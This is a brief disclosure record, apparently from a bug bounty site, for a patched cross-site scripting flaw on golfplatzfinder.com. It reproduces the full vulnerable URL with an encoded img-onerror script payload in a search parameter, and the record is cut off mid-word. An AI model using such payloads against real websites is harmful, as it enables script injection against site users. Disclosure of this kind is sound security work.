golfplatzfinder.com XSS vulnerability

Vulnerable URL: http://www.golfplatzfinder.com/golfplatzsuche.php?loc=a%3E%27%3E%22%3Et%3Ci%3Ep%3Cimg%20src=y%20onerror=prompt/openbugbounty/%3E=10&submit.x;=124&submit.y;=7 Details: Description| Value ---|--- Patched:| Yes, at 26.11.2017 Latest check for patch:| 26.11.2017 14:18 GMT Vulnerabilit...